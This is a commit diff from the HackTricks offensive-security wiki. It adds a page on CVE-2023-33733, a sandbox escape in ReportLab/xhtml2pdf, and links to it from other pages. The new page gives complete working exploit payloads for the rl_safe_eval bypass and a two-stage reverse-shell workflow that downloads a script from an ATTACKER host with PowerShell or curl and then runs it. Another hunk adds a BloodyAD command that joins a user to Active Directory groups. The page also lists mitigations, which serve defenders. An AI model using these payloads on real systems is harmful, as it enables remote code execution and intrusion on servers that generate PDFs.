Skip to content

Commit 4c7d69f

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents ebfa5c6 + 596fcf3 commit 4c7d69f

7 files changed

Lines changed: 297 additions & 0 deletions

File tree

src/SUMMARY.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -70,6 +70,7 @@
7070
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
7171
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
7272
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
73+
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
7374
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
7475
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
7576
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
@@ -283,6 +284,7 @@
283284
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
284285
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
285286
- [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md)
287+
- [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md)
286288
- [LAPS](windows-hardening/active-directory-methodology/laps.md)
287289
- [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
288290
- [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)

src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -136,6 +136,14 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
136136
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
137137
```
138138

139+
Also see a real-world sandboxed evaluator escape in PDF generators:
140+
141+
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). It abuses rl_safe_eval to reach function.__globals__ and os.system from evaluated attributes (for example, font color) and returns a valid value to keep rendering stable.
142+
143+
{{#ref}}
144+
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
145+
{{#endref}}
146+
139147
## Operators and short tricks
140148

141149
```python
@@ -1147,5 +1155,8 @@ will be bypassed
11471155
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
11481156
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
11491157
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
1158+
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
1159+
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
1160+
- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
11501161

11511162
{{#include ../../../banners/hacktricks-training.md}}
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs.
6+
7+
CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands.
8+
9+
Key points
10+
- Trigger: inject [[[ ... ]]] into evaluated attributes such as <font color="..."> within markup parsed by ReportLab/xhtml2pdf.
11+
- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__.
12+
- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering.
13+
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
14+
- Stability: Return a valid value for the attribute after execution (for color, use and 'red').
15+
16+
When to test
17+
- Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments.
18+
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
19+
- HTTP response for PDF often starts with a ReportLab generator comment
20+
21+
How the sandbox bypass works
22+
- rl_safe_eval removes or replaces many builtins (getattr, type, pow, ...) and applies name filtering to deny attributes starting with __ or in a denylist.
23+
- However, safe functions live in a globals dictionary accessible as func.__globals__.
24+
- Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that:
25+
- .startswith('__') → always False (bypass name startswith('__') check)
26+
- .__eq__ returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works)
27+
- .__hash__ equals hash(str(self))
28+
- With this, getattr(pow, Word('__globals__')) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system('<cmd>').
29+
30+
Minimal exploitation pattern (attribute example)
31+
Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.
32+
33+
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
34+
exploit
35+
</font></para>
36+
37+
- The list-comprehension form allows a single expression acceptable to rl_safe_eval.
38+
- The trailing and 'red' returns a valid CSS color so the rendering doesn’t break.
39+
- Replace the command as needed; use ping to validate execution with tcpdump.
40+
41+
Operational workflow
42+
1) Identify PDF generator
43+
- PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment.
44+
2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
45+
3) Verify execution with low-noise ICMP
46+
- Run: sudo tcpdump -ni <iface> icmp
47+
- Payload: ... system('ping <your_ip>') ...
48+
- Windows often sends exactly four echo requests by default.
49+
4) Establish a shell
50+
- For Windows, a reliable two-stage approach avoids quoting/encoding issues:
51+
- Stage 1 (download):
52+
53+
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
54+
55+
- Stage 2 (execute):
56+
57+
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
58+
59+
- For Linux targets, similar two-stage with curl/wget is possible:
60+
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
61+
62+
Notes and tips
63+
- Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.).
64+
- Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches.
65+
- Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.
66+
67+
Mitigations and detection
68+
- Upgrade ReportLab to 3.6.13 or later (CVE-2023-33733 fixed). Track security advisories in distro packages as well.
69+
- Do not feed user-controlled HTML/markup directly into xhtml2pdf/ReportLab without strict sanitization. Remove/deny [[[...]]] evaluation constructs and vendor-specific tags when input is untrusted.
70+
- Consider disabling or wrapping rl_safe_eval usage entirely for untrusted inputs.
71+
- Monitor for suspicious outbound connections during PDF generation (e.g., ICMP/HTTP from app servers when exporting documents).
72+
73+
References
74+
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
75+
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
76+
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
77+
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
78+
79+
{{#include ../../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/django.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,15 @@ The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering
3737

3838
---
3939

40+
### Also see: ReportLab/xhtml2pdf PDF export RCE
41+
Applications built on Django commonly integrate xhtml2pdf/ReportLab to export views as PDF. When user-controlled HTML flows into PDF generation, rl_safe_eval may evaluate expressions inside triple brackets `[[[ ... ]]]` enabling code execution (CVE-2023-33733). Details, payloads, and mitigations:
42+
43+
{{#ref}}
44+
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
45+
{{#endref}}
46+
47+
---
48+
4049
## Pickle-Backed Session Cookie RCE
4150
If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution.
4251

@@ -75,5 +84,6 @@ Always fingerprint the exact framework version via the `X-Frame-Options` error p
7584
## References
7685
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
7786
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
87+
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
7888

7989
{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/README.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -307,6 +307,18 @@ Also, if a MSSQL instance is trusted (database link) by a different MSSQL instan
307307
abusing-ad-mssql.md
308308
{{#endref}}
309309

310+
### IT asset/deployment platforms abuse
311+
312+
Third-party inventory and deployment suites often expose powerful paths to credentials and code execution. See:
313+
314+
{{#ref}}
315+
sccm-management-point-relay-sql-policy-secrets.md
316+
{{#endref}}
317+
318+
{{#ref}}
319+
lansweeper-security.md
320+
{{#endref}}
321+
310322
### Unconstrained Delegation
311323

312324
If you find any Computer object with the attribute [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer.\

src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,16 @@ Add-ADGroupMember -Identity "domain admins" -Members spotless
4242
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
4343
```
4444

45+
- From Linux you can also leverage BloodyAD to add yourself into arbitrary groups when you hold GenericAll/Write membership over them. If the target group is nested into “Remote Management Users”, you will immediately gain WinRM access on hosts honoring that group:
46+
47+
```bash
48+
# Linux tooling example (BloodyAD) to add yourself to a target group
49+
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
50+
51+
# If the target group is member of "Remote Management Users", WinRM becomes available
52+
netexec winrm <dc-fqdn> -u <user> -p '<pass>'
53+
```
54+
4555
## **GenericAll / GenericWrite / Write on Computer/User**
4656

4757
Holding these privileges on a computer object or a user account allows for:

0 commit comments

Comments
 (0)